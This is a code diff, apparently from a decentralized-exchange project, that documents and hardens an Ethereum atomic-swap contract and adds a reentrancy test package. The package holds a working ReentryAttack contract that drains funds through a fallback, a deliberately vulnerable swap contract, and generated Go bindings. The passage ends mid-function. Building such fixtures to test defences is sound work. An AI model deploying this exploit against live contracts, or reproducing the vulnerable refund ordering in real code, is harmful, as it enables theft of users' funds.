allow easier validation. +pragma solidity = 0.8.6; + +// ETHSwap creates a contract to be deployed on an ethereum network. After +// deployed, it keeps a map of swaps that facilitates atomic swapping of +// ethereum with other crypto currencies that support time locks. +// +// It accomplishes this by holding funds sent to this contract until certain +// conditions are met. An initiator sends an amount of funds along with byte +// code that tells the contract to insert a swap struct into the public map. At +// this point the funds belong to the contract, and cannot be accessed by +// anyone else, not even the contract's deployer. The initiator sets a +// participant, a secret hash, a blocktime the funds will be accessible should +// they not be redeemed, and a participant who can redeem before or after the +// locktime. The participant can redeem at any time after the initiation +// transaction is mined if they have the secret that hashes to the secret hash. +// Otherwise, the initiator can refund funds any time after the locktime. +// +// This contract has no limits on gas used for any transactions. +// +// This contract cannot be used by other contracts or by a third party mediating +// the swap or multisig wallets. +// +// This code should be verifiable as resulting in a certain on-chain contract +// by compiling with the correct version of solidity and comparing the +// resulting byte code to the data in the original transaction. contract ETHSwap { + // State is a type that hold's a contract's state. Empty is the uninitiated + // or null value. enum State { Empty, Filled, Redeemed, Refunded } + // Swap holds information related to one side of a single swap. struct Swap { uint initBlockNumber; uint refundBlockTimestamp; @@ -14,47 +42,75 @@ contract ETHSwap { State state; } + // Swaps is a map of swap secret hashes to swaps. It can be read by anyone + // for free. mapping(bytes32 => Swap) public swaps; + // constructor is empty. This contract has no connection to the original + // sender after deployed. It can only be interacted with by users + // initiating, redeeming, and refunding swaps. constructor() {} - modifier isRefundable(bytes32 secretHash, address refunder) { + // isRefundable checks that a swap can be refunded. The requirements are + // the initiator is msg.sender, the state is Filled, and the block + // timestamp be after the swap's stored refundBlockTimestamp. + modifier isRefundable(bytes32 secretHash) { require(swaps[secretHash].state == State.Filled); - require(swaps[secretHash].initiator == refunder); + require(swaps[secretHash].initiator == msg.sender); uint refundBlockTimestamp = swaps[secretHash].refundBlockTimestamp; require(block.timestamp >= refundBlockTimestamp); _; } - modifier isRedeemable(bytes32 secretHash, bytes32 secret, address redeemer) { + // isRedeemable checks that a swap can be redeemed. The requirements are + // the participant is msg.sender, the state is Filled, and the passed secret + // hashes to secretHash. + modifier isRedeemable(bytes32 secretHash, bytes32 secret) { require(swaps[secretHash].state == State.Filled); - require(swaps[secretHash].participant == redeemer); + require(swaps[secretHash].participant == msg.sender); require(sha256(abi.encodePacked(secret)) == secretHash); _; } + // isNotInitiated asserts that the current state of the swap is Empty. modifier isNotInitiated(bytes32 secretHash) { require(swaps[secretHash].state == State.Empty); _; } + // hasNoNilValues ensures that value and locktime of the swap are not zero. + // Zero values would likely indicate a mistake on the part of the sender. modifier hasNoNilValues(uint refundTime) { require(msg.value > 0); require(refundTime > 0); _; } + // senderIsOrigin ensures that this contract cannot be used by other + // contracts, which reduces possible attack vectors. There is some + // conversation in the eth community about removing tx.origin, which would + // make this check impossible. modifier senderIsOrigin() { require(tx.origin == msg.sender); _; } + // swap returns a single swap from the swaps map. function swap(bytes32 secretHash) public view returns(Swap memory) { return swaps[secretHash]; } + // initiate initiates a swap. It checks that the swap has no nil values, + // the sender is not a contract, and that the contract is not initiated. + // Once initiated, the swap's state is set to Filled. The msg.value is now + // in the custody of the contract and can only be retrieved through redeem + // or refund. + // + // This is a writing function and requires gas. Failure or success should + // be guaged by querying the swap and checking state after being mined. Gas + // is expended either way. function initiate(uint refundTimestamp, bytes32 secretHash, address participant) public payable @@ -71,22 +127,57 @@ contract ETHSwap { swaps[secretHash].state = State.Filled; } + // redeem redeems a contract. It checks that the sender is not a contract, + // and that the secret hash hashes to secretHash. msg.value is tranfered + // from the contract to the sender. + // + // It is important to note that this uses call.value which comes with no + // restrictions on gas used. This has the potential to open the contract up + // to a reentry attack. A reentry attack inserts extra code in call.value + // that executes before the function returns. This is why it is very + // important to check the state of the contract first, and change the state + // before proceeding to send. That way, the nested attacking function will + // throw upon trying to call redeem a second time. Currently, reentry is also + // not possible because contracts cannot use this contract. + // + // Any throw at any point in this function will revert the state to what it + // was originally, to Initiated. + // + // This is a writing function and requires gas. Failure or success should + // be guaged by querying the swap and checking state after being mined. Gas + // is expended either way. function redeem(bytes32 secret, bytes32 secretHash) public senderIsOrigin() - isRedeemable(secretHash, secret, msg.sender) + isRedeemable(secretHash, secret) { - payable(msg.sender).transfer(swaps[secretHash].value); swaps[secretHash].state = State.Redeemed; + (bool ok, ) = payable(msg.sender).call{value: swaps[secretHash].value}(""); + require(ok == true); swaps[secretHash].secret = secret; } + + // refund refunds a contract. It checks that the sender is not a contract, + // and that the refund time has passed. msg.value is tranfered from the + // contract to the sender. + // + // It is important to note that this also uses call.value which comes with no + // restrictions on gas used. See redeem for more info. + // + // Any throw at any point in this function will revert the state to what it + // was originally, to Initiated. + // + // This is a writing function and requires gas. Failure or success should + // be guaged by querying the swap and checking state after being mined. Gas + // is expended either way. function refund(bytes32 secretHash) public senderIsOrigin() - isRefundable(secretHash, msg.sender) + isRefundable(secretHash) { - payable(msg.sender).transfer(swaps[secretHash].value); swaps[secretHash].state = State.Refunded; + (bool ok, ) = payable(msg.sender).call{value: swaps[secretHash].value}(""); + require(ok == true); } } diff --git a/dex/testing/eth/harness.sh b/dex/testing/eth/harness.sh index a918b9e979..4d398d9448 100755 --- a/dex/testing/eth/harness.sh +++ b/dex/testing/eth/harness.sh @@ -41,7 +41,7 @@ DELTA_NODE_KEY="725394672587b34bbf15580c59e5199c75c2c7e998ba8df3cb38cc4347d46e2b DELTA_ENODE="ca414c361d1a38716170923e4900d9dc9203dbaf8fdcaee73e1f861df9fdf20a1453b76fd218c18bc6f3c7e13cbca0b3416af02a53b8e31188faa45aab398d1c" DELTA_NODE_PORT="30307" -ETH_SWAP_V0="608060405234801561001057600080fd5b50610742806100206000396000f3fe60806040526004361061004a5760003560e01c80637249fbb61461004f57806376467cbd14610071578063ae052147146100a7578063b31597ad146100ba578063eb84e7f2146100da575b600080fd5b34801561005b57600080fd5b5061006f61006a36600461053b565b61015c565b005b34801561007d57600080fd5b5061009161008c36600461053b565b610243565b60405161009e9190610631565b60405180910390f35b61006f6100b536600461058f565b61032e565b3480156100c657600080fd5b5061006f6100d536600461056d565b6103f3565b3480156100e657600080fd5b506101486100f536600461053b565b6000602081905290815260409020805460018201546002830154600384015460048501546005860154600687015460079097015495969495939492936001600160a01b0392831693919092169160ff1688565b60405161009e9897969594939291906106a1565b32331461016857600080fd5b8033600160008381526020819052604090206007015460ff166003811115610192576101926106f6565b1461019c57600080fd5b6000828152602081905260409020600401546001600160a01b038281169116146101c557600080fd5b600082815260208190526040902060010154428111156101e457600080fd5b600084815260208190526040808220600601549051339282156108fc02929190818181858888f19350505050158015610221573d6000803e3d6000fd5b505050600091825250602081905260409020600701805460ff19166003179055565b6102886040805161010081018252600080825260208201819052918101829052606081018290526080810182905260a0810182905260c081018290529060e082015290565b6000828152602081815260409182902082516101008101845281548152600182015492810192909252600281015492820192909252600380830154606083015260048301546001600160a01b03908116608084015260058401541660a0830152600683015460c0830152600783015491929160e084019160ff90911690811115610314576103146106f6565b6003811115610325576103256106f6565b90525092915050565b826000341161033c57600080fd5b6000811161034957600080fd5b32331461035557600080fd5b826000808281526020819052604090206007015460ff16600381111561037d5761037d6106f6565b1461038757600080fd5b6000848152602081905260409020438155600180820187905560028201869055600482018054336001600160a01b0319918216179091556005830180549091166001600160a01b0387161790553460068301556007909101805460ff1916828002179055505050505050565b3233146103ff57600080fd5b808233600160008481526020819052604090206007015460ff16600381111561042a5761042a6106f6565b1461043457600080fd5b6000838152602081905260409020600501546001600160a01b0382811691161461045d57600080fd5b8260028360405160200161047391815260200190565b60408051601f198184030181529082905261048d916105f6565b602060405180830381855afa1580156104aa573d6000803e3d6000fd5b5050506040513d601f19601f820116820180604052508101906104cd9190610554565b146104d757600080fd5b600084815260208190526040808220600601549051339282156108fc02929190818181858888f19350505050158015610514573d6000803e3d6000fd5b50505060009182525060208190526040902060078101805460ff1916600217905560030155565b60006020828403121561054d57600080fd5b5035919050565b60006020828403121561056657600080fd5b5051919050565b6000806040838503121561058057600080fd5b50508035926020909101359150565b6000806000606084860312156105a457600080fd5b833592506020840135915060408401356001600160a01b03811681146105c957600080fd5b809150509250925092565b600481106105f257634e487b7160e01b600052602160045260246000fd5b9052565b6000825160005b8181101561061757602081860181015185830152016105fd565b81811115610626576000828501525b509190910192915050565b60006101008201905082518252602083015160208301526040830151604083015260608301516060830152608083015160018060a01b0380821660808501528060a08601511660a0850152505060c083015160c083015260e083015161069a60e08401826105d4565b5092915050565b8881526020810188905260408101879052606081018690526001600160a01b038581166080830152841660a082015260c0810183905261010081016106e960e08301846105d4565b9998505050505050505050565b634e487b7160e01b600052602160045260246000fdfea2646970667358221220b555a7551bad7d0030b3e4c81ceaf6b3e8becbf457b8d5dfa3484a5eb822674864736f6c63430008060033" +ETH_SWAP_V0="608060405234801561001057600080fd5b50610784806100206000396000f3fe60806040526004361061004a5760003560e01c80637249fbb61461004f57806376467cbd14610071578063ae052147146100a7578063b31597ad146100ba578063eb84e7f2146100da575b600080fd5b34801561005b57600080fd5b5061006f61006a36600461057d565b61015c565b005b34801561007d57600080fd5b5061009161008c36600461057d565b61025e565b60405161009e9190610673565b60405180910390f35b61006f6100b53660046105d1565b610349565b3480156100c657600080fd5b5061006f6100d53660046105af565b61040e565b3480156100e657600080fd5b506101486100f536600461057d565b6000602081905290815260409020805460018201546002830154600384015460048501546005860154600687015460079097015495969495939492936001600160a01b0392831693919092169160ff1688565b60405161009e9897969594939291906106e3565b32331461016857600080fd5b80600160008281526020819052604090206007015460ff16600381111561019157610191610738565b1461019b57600080fd5b6000818152602081905260409020600401546001600160a01b031633146101c157600080fd5b600081815260208190526040902060010154428111156101e057600080fd5b60008381526020819052604080822060078101805460ff191660031790556006015490513391908381818185875af1925050503d806000811461023f576040519150601f19603f3d011682016040523d82523d6000602084013e610244565b606091505b509091505060018115151461025857600080fd5b50505050565b6102a36040805161010081018252600080825260208201819052918101829052606081018290526080810182905260a0810182905260c081018290529060e082015290565b6000828152602081815260409182902082516101008101845281548152600182015492810192909252600281015492820192909252600380830154606083015260048301546001600160a01b03908116608084015260058401541660a0830152600683015460c0830152600783015491929160e084019160ff9091169081111561032f5761032f610738565b600381111561034057610340610738565b90525092915050565b826000341161035757600080fd5b6000811161036457600080fd5b32331461037057600080fd5b826000808281526020819052604090206007015460ff16600381111561039857610398610738565b146103a257600080fd5b6000848152602081905260409020438155600180820187905560028201869055600482018054336001600160a01b0319918216179091556005830180549091166001600160a01b0387161790553460068301556007909101805460ff1916828002179055505050505050565b32331461041a57600080fd5b8082600160008381526020819052604090206007015460ff16600381111561044457610444610738565b1461044e57600080fd5b6000828152602081905260409020600501546001600160a01b0316331461047457600080fd5b8160028260405160200161048a91815260200190565b60408051601f19818403018152908290526104a491610638565b602060405180830381855afa1580156104c1573d6000803e3d6000fd5b5050506040513d601f19601f820116820180604052508101906104e49190610596565b146104ee57600080fd5b60008381526020819052604080822060078101805460ff191660021790556006015490513391908381818185875af1925050503d806000811461054d576040519150601f19603f3d011682016040523d82523d6000602084013e610552565b606091505b509091505060018115151461056657600080fd5b505050600090815260208190526040902060030155565b60006020828403121561058f57600080fd5b5035919050565b6000602082840312156105a857600080fd5b5051919050565b600080604083850312156105c257600080fd5b50508035926020909101359150565b6000806000606084860312156105e657600080fd5b833592506020840135915060408401356001600160a01b038116811461060b57600080fd5b809150509250925092565b6004811061063457634e487b7160e01b600052602160045260246000fd5b9052565b6000825160005b81811015610659576020818601810151858301520161063f565b81811115610668576000828501525b509190910192915050565b60006101008201905082518252602083015160208301526040830151604083015260608301516060830152608083015160018060a01b0380821660808501528060a08601511660a0850152505060c083015160c083015260e08301516106dc60e0840182610616565b5092915050565b8881526020810188905260408101879052606081018690526001600160a01b038581166080830152841660a082015260c08101839052610100810161072b60e0830184610616565b9998505050505050505050565b634e487b7160e01b600052602160045260246000fdfea2646970667358221220f5008532d651b31b24a7d133ff5dd0c4461e5f6339f32c9d551cb9cf81107e6b64736f6c63430008060033" # PASSWORD is the password used to unlock all accounts/wallets/addresses. PASSWORD="abc" diff --git a/go.mod b/go.mod index 0a4b08d85e..6ab258ba9a 100644 --- a/go.mod +++ b/go.mod @@ -2,6 +2,8 @@ module decred.org/dcrdex go 1.15 +replace decred.org/dcrdex/internal/eth/reentryattack => ./internal/eth/reentryattack + require ( decred.org/dcrwallet/v2 v2.0.0-20210714172147-8815838443cd github.com/btcsuite/btcd v0.20.1-beta.0.20200615134404-e4f59022a387 diff --git a/internal/eth/reentryattack/README.md b/internal/eth/reentryattack/README.md new file mode 100644 index 0000000000..410adb8379 --- /dev/null +++ b/internal/eth/reentryattack/README.md @@ -0,0 +1,5 @@ +## Reentry Contract Creation + +Have `solc` and `abigen` installed on your system and run from this directory: + +`abigen --sol ReentryAttack.sol --pkg reentryattack --out ./contract.go` diff --git a/internal/eth/reentryattack/ReentryAttack.sol b/internal/eth/reentryattack/ReentryAttack.sol new file mode 100644 index 0000000000..d836df7cc8 --- /dev/null +++ b/internal/eth/reentryattack/ReentryAttack.sol @@ -0,0 +1,62 @@ +// SPDX-License-Identifier: BlueOak-1.0.0 +pragma solidity >=0.7.0 <0.9.0; + +// The arguments and returns from the swap contract. These may need to be +// updated in the future if the contract changes. +interface ethswap { + function initiate(uint refundTimestamp, bytes32 secretHash, address participant) payable external; + function refund(bytes32 secretHash) external; +} + +// ReentryAttack is able to perform a reetry attack to siphon all funds from a +// vulnerable dex contract. +contract ReentryAttack { + + address public owner; + bytes32 secretHash; + ethswap swapper; + + constructor() { + owner = msg.sender; + } + + // Set up variables used in the attack and initiate a swap. + function setUsUpTheBomb(address es, bytes32 sh, uint refundTimestamp, address participant) + public + payable + { + swapper = ethswap(es); + secretHash = sh; + // Have the contract initiate to make it msg.sender. + swapper.initiate{value: msg.value}(refundTimestamp, secretHash, participant); + } + + // Refund a swap after it's locktime has passed. + function allYourBase() + public + { + swapper.refund(secretHash); + } + + // fallback is called EVERY time this contract is sent funds. When the dex + // swap tranfers us funds, for instance during refund, we are able to call + // refund again before that method returns. If the swap contract does not + // check the state properly, does not deny contracts from using, and does + // not throw on a certain about of gas usage, we are able to get unintended + // funds belonging to the contract's address. + fallback () + external + payable + { + if (address(this).balance < 5 ether) { + allYourBase(); + } + } + + // Send all funds back to the owner. + function areBelongToUs() + public + { + payable(owner).transfer(address(this).balance); + } +} diff --git a/internal/eth/reentryattack/VulnerableToReentryAttack.sol b/internal/eth/reentryattack/VulnerableToReentryAttack.sol new file mode 100644 index 0000000000..40bd43aa0f --- /dev/null +++ b/internal/eth/reentryattack/VulnerableToReentryAttack.sol @@ -0,0 +1,92 @@ +// SPDX-License-Identifier: BlueOak-1.0.0 +pragma solidity >=0.7.0 <0.9.0; +contract ETHSwap { + enum State { Empty, Filled, Redeemed, Refunded } + + struct Swap { + uint initBlockNumber; + uint refundBlockTimestamp; + bytes32 secretHash; + bytes32 secret; + address initiator; + address participant; + uint256 value; + State state; + } + + mapping(bytes32 => Swap) public swaps; + + constructor() {} + + modifier isRefundable(bytes32 secretHash, address refunder) { + require(swaps[secretHash].state == State.Filled); + require(swaps[secretHash].initiator == refunder); + uint refundBlockTimestamp = swaps[secretHash].refundBlockTimestamp; + require(block.timestamp >= refundBlockTimestamp); + _; + } + + modifier isRedeemable(bytes32 secretHash, bytes32 secret, address redeemer) { + require(swaps[secretHash].state == State.Filled); + require(swaps[secretHash].participant == redeemer); + require(sha256(abi.encodePacked(secret)) == secretHash); + _; + } + + modifier isNotInitiated(bytes32 secretHash) { + require(swaps[secretHash].state == State.Empty); + _; + } + + modifier hasNoNilValues(uint refundTime) { + require(msg.value > 0); + require(refundTime > 0); + _; + } + + modifier senderIsOrigin() { + require(tx.origin == msg.sender); + _; + } + + function swap(bytes32 secretHash) + public view returns(Swap memory) + { + return swaps[secretHash]; + } + + function initiate(uint refundTimestamp, bytes32 secretHash, address participant) + public + payable + hasNoNilValues(refundTimestamp) + isNotInitiated(secretHash) + { + swaps[secretHash].initBlockNumber = block.number; + swaps[secretHash].refundBlockTimestamp = refundTimestamp; + swaps[secretHash].secretHash = secretHash; + swaps[secretHash].initiator = msg.sender; + swaps[secretHash].participant = participant; + swaps[secretHash].value = msg.value; + swaps[secretHash].state = State.Filled; + } + + function redeem(bytes32 secret, bytes32 secretHash) + public + senderIsOrigin() + isRedeemable(secretHash, secret, msg.sender) + { + swaps[secretHash].state = State.Redeemed; + (bool ok, ) = payable(msg.sender).call{value: swaps[secretHash].value}(""); + require(ok == true); + swaps[secretHash].secret = secret; + } + + function refund(bytes32 secretHash) + public + isRefundable(secretHash, msg.sender) + { + (bool ok, ) = payable(msg.sender).call{value: swaps[secretHash].value}(""); + require(ok == true); + swaps[secretHash].state = State.Refunded; + } +} diff --git a/internal/eth/reentryattack/contract.go b/internal/eth/reentryattack/contract.go new file mode 100644 index 0000000000..2f4bff839f --- /dev/null +++ b/internal/eth/reentryattack/contract.go @@ -0,0 +1,505 @@ +// Code generated - DO NOT EDIT. +// This file is a generated binding and any manual changes will be lost. + +package reentryattack + +import ( + "math/big" + "strings" + + ethereum "github.com/ethereum/go-ethereum" + "github.com/ethereum/go-ethereum/accounts/abi" + "github.com/ethereum/go-ethereum/accounts/abi/bind" + "github.com/ethereum/go-ethereum/common" + "github.com/ethereum/go-ethereum/core/types" + "github.com/ethereum/go-ethereum/event" +) + +// Reference imports to suppress errors if they are not otherwise used. +var ( + _ = big.NewInt + _ = strings.NewReader + _ = ethereum.NotFound + _ = bind.Bind + _ = common.Big1 + _ = types.BloomLookup + _ = event.NewSubscription +) + +// ReentryAttackABI is the input ABI used to generate the binding from. +const ReentryAttackABI = "[{\"inputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"stateMutability\":\"payable\",\"type\":\"fallback\"},{\"inputs\":[],\"name\":\"allYourBase\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"areBelongToUs\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"es\",\"type\":\"address\"},{\"internalType\":\"bytes32\",\"name\":\"sh\",\"type\":\"bytes32\"},{\"internalType\":\"uint256\",\"name\":\"refundTimestamp\",\"type\":\"uint256\"},{\"internalType\":\"address\",\"name\":\"participant\",\"type\":\"address\"}],\"name\":\"setUsUpTheBomb\",\"outputs\":[],\"stateMutability\":\"payable\",\"type\":\"function\"}]" + +// ReentryAttackFuncSigs maps the 4-byte function signature to its string representation. +var ReentryAttackFuncSigs = map[string]string{ + "8f110770": "allYourBase()", + "627599ee": "areBelongToUs()", + "8da5cb5b": "owner()", + "b9ce28a4": "setUsUpTheBomb(address,bytes32,uint256,address)", +} + +// ReentryAttackBin is the compiled bytecode used for deploying new contracts. +var ReentryAttackBin = "0x608060405234801561001057600080fd5b50600080546001600160a01b0319163317905561029b806100326000396000f3fe60806040526004361061003f5760003560e01c8063627599ee146100595780638da5cb5b1461006e5780638f110770146100aa578063b9ce28a4146100bf575b674563918244f40000471015610057576100576100d2565b005b34801561006557600080fd5b5061005761013b565b34801561007a57600080fd5b5060005461008e906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b3480156100b657600080fd5b506100576100d2565b6100576100cd36600461021f565b610178565b600254600154604051633924fddb60e11b81526001600160a01b0390921691637249fbb6916101079160040190815260200190565b600060405180830381600087803b15801561012157600080fd5b505af1158015610135573d6000803e3d6000fd5b50505050565b600080546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610175573d6000803e3d6000fd5b50565b600280546001600160a01b0319166001600160a01b03868116918217909255600185905560405163ae05214760e01b8152600481018590526024810186905291831660448301529063ae0521479034906064016000604051808303818588803b1580156101e457600080fd5b505af11580156101f8573d6000803e3d6000fd5b505050505050505050565b80356001600160a01b038116811461021a57600080fd5b919050565b6000806000806080858703121561023557600080fd5b61023e85610203565b9350602085013592506040850135915061025a60608601610203565b90509295919450925056fea264697066735822122087499ba0a295a21147299615f7103b3bdfdc6292cd039ba269f142f15ff8105e64736f6c63430008060033" + +// DeployReentryAttack deploys a new Ethereum contract, binding an instance of ReentryAttack to it. +func DeployReentryAttack(auth *bind.TransactOpts, backend bind.ContractBackend) (common.Address, *types.Transaction, *ReentryAttack, error) { + parsed, err := abi.JSON(strings.NewReader(ReentryAttackABI)) + if err != nil { + return common.Address{}, nil, nil, err + } + + address, tx, contract, err := bind.DeployContract(auth, parsed, common.FromHex(ReentryAttackBin), backend) + if err != nil { + return common.Address{}, nil, nil, err + } + return address, tx, &ReentryAttack{ReentryAttackCaller: ReentryAttackCaller{contract: contract}, ReentryAttackTransactor: ReentryAttackTransactor{contract: contract}, ReentryAttackFilterer: ReentryAttackFilterer{contract: contract}}, nil +} + +// ReentryAttack is an auto generated Go binding around an Ethereum contract. +type ReentryAttack struct { + ReentryAttackCaller // Read-only binding to the contract + ReentryAttackTransactor // Write-only binding to the contract + ReentryAttackFilterer // Log filterer for contract events +} + +// ReentryAttackCaller is an auto generated read-only Go binding around an Ethereum contract. +type ReentryAttackCaller struct { + contract *bind.BoundContract // Generic contract wrapper for the low level calls +} + +// ReentryAttackTransactor is an auto generated write-only Go binding around an Ethereum contract. +type ReentryAttackTransactor struct { + contract *bind.BoundContract // Generic contract wrapper for the low level calls +} + +// ReentryAttackFilterer is an auto generated log filtering Go binding around an Ethereum contract events. +type ReentryAttackFilterer struct { + contract *bind.BoundContract // Generic contract wrapper for the low level calls +} + +// ReentryAttackSession is an auto generated Go binding around an Ethereum contract, +// with pre-set call and transact options. +type ReentryAttackSession struct { + Contract *ReentryAttack // Generic contract binding to set the session for + CallOpts bind.CallOpts // Call options to use throughout this session + TransactOpts bind.TransactOpts // Transaction auth options to use throughout this session +} + +// ReentryAttackCallerSession is an auto generated read-only Go binding around an Ethereum contract, +// with pre-set call options. +type ReentryAttackCallerSession struct { + Contract *ReentryAttackCaller // Generic contract caller binding to set the session for + CallOpts bind.CallOpts // Call options to use throughout this session +} + +// ReentryAttackTransactorSession is an auto generated write-only Go binding around an Ethereum contract, +// with pre-set transact options. +type ReentryAttackTransactorSession struct { + Contract *ReentryAttackTransactor // Generic contract transactor binding to set the session for + TransactOpts bind.TransactOpts // Transaction auth options to use throughout this session +} + +// ReentryAttackRaw is an auto generated low-level Go binding around an Ethereum contract. +type ReentryAttackRaw struct { + Contract *ReentryAttack // Generic contract binding to access the raw methods on +} + +// ReentryAttackCallerRaw is an auto generated low-level read-only Go binding around an Ethereum contract. +type ReentryAttackCallerRaw struct { + Contract *ReentryAttackCaller // Generic read-only contract binding to access the raw methods on +} + +// ReentryAttackTransactorRaw is an auto generated low-level write-only Go binding around an Ethereum contract. +type ReentryAttackTransactorRaw struct { + Contract *ReentryAttackTransactor // Generic write-only contract binding to access the raw methods on +} + +// NewReentryAttack creates a new instance of ReentryAttack, bound to a specific deployed contract. +func NewReentryAttack(address common.Address, backend bind.ContractBackend) (*ReentryAttack, error) { + contract, err := bindReentryAttack(address, backend, backend, backend) + if err != nil { + return nil, err + } + return &ReentryAttack{ReentryAttackCaller: ReentryAttackCaller{contract: contract}, ReentryAttackTransactor: ReentryAttackTransactor{contract: contract}, ReentryAttackFilterer: ReentryAttackFilterer{contract: contract}}, nil +} + +// NewReentryAttackCaller creates a new read-only instance of ReentryAttack, bound to a specific deployed contract. +func NewReentryAttackCaller(address common.Address, caller bind.ContractCaller) (*ReentryAttackCaller, error) { + contract, err := bindReentryAttack(address, caller, nil, nil) + if err != nil { + return nil, err + } + return &ReentryAttackCaller{contract: contract}, nil +} + +// NewReentryAttackTransactor creates a new write-only instance of ReentryAttack, bound to a specific deployed contract. +func NewReentryAttackTransactor(address common.Address, transactor bind.ContractTransactor) (*ReentryAttackTransactor, error) { + contract, err := bindReentryAttack(address, nil, transactor, nil) + if err != nil { + return nil, err + } + return &ReentryAttackTransactor{contract: contract}, nil +} + +// NewReentryAttackFilterer creates a new log filterer instance of ReentryAttack, bound to a specific deployed contract. +func NewReentryAttackFilterer(address common.Address, filterer bind.ContractFilterer) (*ReentryAttackFilterer, error) { + contract, err := bindReentryAttack(address, nil, nil, filterer) + if err != nil { + return nil, err + } + return &ReentryAttackFilterer{contract: contract}, nil +} + +// bindReentryAttack binds a generic wrapper to an already deployed contract. +func bindReentryAttack(address common.Address, caller bind.ContractCaller, transactor bind.ContractTransactor, filterer bind.ContractFilterer) (*bind.BoundContract, error) { + parsed, err := abi.JSON(strings.NewReader(ReentryAttackABI)) + if err != nil { + return nil, err + } + return bind.NewBoundContract(address, parsed, caller, transactor, filterer), nil +} + +// Call invokes the (constant) contract method with params as input values and +// sets the output to result. The result type might be a single field for simple +// returns, a slice of interfaces for anonymous returns and a struct for named +// returns. +func (_ReentryAttack *ReentryAttackRaw) Call(opts *bind.CallOpts, result *[]interface{}, method string, params ...interface{}) error { + return _ReentryAttack.Contract.ReentryAttackCaller.contract.Call(opts, result, method, params...) +} + +// Transfer initiates a plain transaction to move funds to the contract, calling +// its default method if one is available. +func (_ReentryAttack *ReentryAttackRaw) Transfer(opts *bind.TransactOpts) (*types.Transaction, error) { + return _ReentryAttack.Contract.ReentryAttackTransactor.contract.Transfer(opts) +} + +// Transact invokes the (paid) contract method with params as input values. +func (_ReentryAttack *ReentryAttackRaw) Transact(opts *bind.TransactOpts, method string, params ...interface{}) (*types.Transaction, error) { + return _ReentryAttack.Contract.ReentryAttackTransactor.contract.Transact(opts, method, params...) +} + +// Call invokes the (constant) contract method with params as input values and +// sets the output to result. The result type might be a single field for simple +// returns, a slice of interfaces for anonymous returns and a struct for named +// returns. +func (_ReentryAttack *ReentryAttackCallerRaw) Call(opts *bind.CallOpts, result *[]interface{}, method string, params ...interface{}) error { + return _ReentryAttack.Contract.contract.Call(opts, result, method, params...) +} + +// Transfer initiates a plain transaction to move funds to the contract, calling +// its default method if one is available. +func (_ReentryAttack *ReentryAttackTransactorRaw) Transfer(opts *bind.TransactOpts) (*types.Transaction, error) { + return _ReentryAttack.Contract.contract.Transfer(opts) +} + +// Transact invokes the (paid) contract method with params as input values. +func (_ReentryAttack *ReentryAttackTransactorRaw) Transact(opts *bind.TransactOpts, method string, params ...interface{}) (*types.Transaction, error) { + return _ReentryAttack.Contract.contract.Transact(opts, method, params...) +} + +// Owner is a free data retrieval call binding the contract method 0x8da5cb5b. +// +// Solidity: function owner() view returns(address) +func (_ReentryAttack *ReentryAttackCaller) Owner(opts *bind.CallOpts) (common.Address, error) { + var out []interface{} + err := _ReentryAttack.contract.Call(opts, &out, "owner") + + if err != nil { + return *new(common.Address), err + } + + out0 := *abi.ConvertType(out[0], new(common.Address)).(*common.Address) + + return out0, err + +} + +// Owner is a free data retrieval call binding the contract method 0x8da5cb5b. +// +// Solidity: function owner() view returns(address) +func (_ReentryAttack *ReentryAttackSession) Owner() (common.Address, error) { + return _ReentryAttack.Contract.Owner(&_ReentryAttack.CallOpts) +} + +// Owner is a free data retrieval call binding the contract method 0x8da5cb5b. +// +// Solidity: function owner() view returns(address) +func (_ReentryAttack *ReentryAttackCallerSession) Owner() (common.Address, error) { + return _ReentryAttack.Contract.Owner(&_ReentryAttack.CallOpts) +} + +// AllYourBase is a paid mutator transaction binding the contract method 0x8f110770. +// +// Solidity: function allYourBase() returns() +func (_ReentryAttack *ReentryAttackTransactor) AllYourBase(opts *bind.TransactOpts) (*types.Transaction, error) { + return _ReentryAttack.contract.Transact(opts, "allYourBase") +} + +// AllYourBase is a paid mutator transaction binding the contract method 0x8f110770. +// +// Solidity: function allYourBase() returns() +func (_ReentryAttack *ReentryAttackSession) AllYourBase() (*types.Transaction, error) { + return _ReentryAttack.Contract.AllYourBase(&_ReentryAttack.TransactOpts) +} + +// AllYourBase is a paid mutator transaction binding the contract method 0x8f110770. +// +// Solidity: function allYourBase() returns() +func (_ReentryAttack *ReentryAttackTransactorSession) AllYourBase() (*types.Transaction, error) { + return _ReentryAttack.Contract.AllYourBase(&_ReentryAttack.TransactOpts) +} + +// AreBelongToUs is a paid mutator transaction binding the contract method 0x627599ee. +// +// Solidity: function areBelongToUs() returns() +func (_ReentryAttack *ReentryAttackTransactor) AreBelongToUs(opts *bind.TransactOpts) (*types.Transaction, error) { + return _ReentryAttack.contract.Transact(opts, "areBelongToUs") +} + +// AreBelongToUs is a paid mutator transaction binding the contract method 0x627599ee. +// +// Solidity: function areBelongToUs() returns() +func (_ReentryAttack *ReentryAttackSession) AreBelongToUs() (*types.Transaction, error) { + return _ReentryAttack.Contract.AreBelongToUs(&_ReentryAttack.TransactOpts) +} + +// AreBelongToUs is a paid mutator transaction binding the contract method 0x627599ee. +// +// Solidity: function areBelongToUs() returns() +func (_ReentryAttack *ReentryAttackTransactorSession) AreBelongToUs() (*types.Transaction, error) { + return _ReentryAttack.Contract.AreBelongToUs(&_ReentryAttack.TransactOpts) +} + +// SetUsUpTheBomb is a paid mutator transaction binding the contract method 0xb9ce28a4. +// +// Solidity: function setUsUpTheBomb(address es, bytes32 sh, uint256 refundTimestamp, address participant) payable returns() +func (_ReentryAttack *ReentryAttackTransactor) SetUsUpTheBomb(opts *bind.TransactOpts, es common.Address, sh [32]byte, refundTimestamp *big.Int, participant common.Address) (*types.Transaction, error) { + return _ReentryAttack.contract.Transact(opts, "setUsUpTheBomb", es, sh, refundTimestamp, participant) +} + +// SetUsUpTheBomb is a paid mutator transaction binding the contract method 0xb9ce28a4. +// +// Solidity: function setUsUpTheBomb(address es, bytes32 sh, uint256 refundTimestamp, address participant) payable returns() +func (_ReentryAttack *ReentryAttackSession) 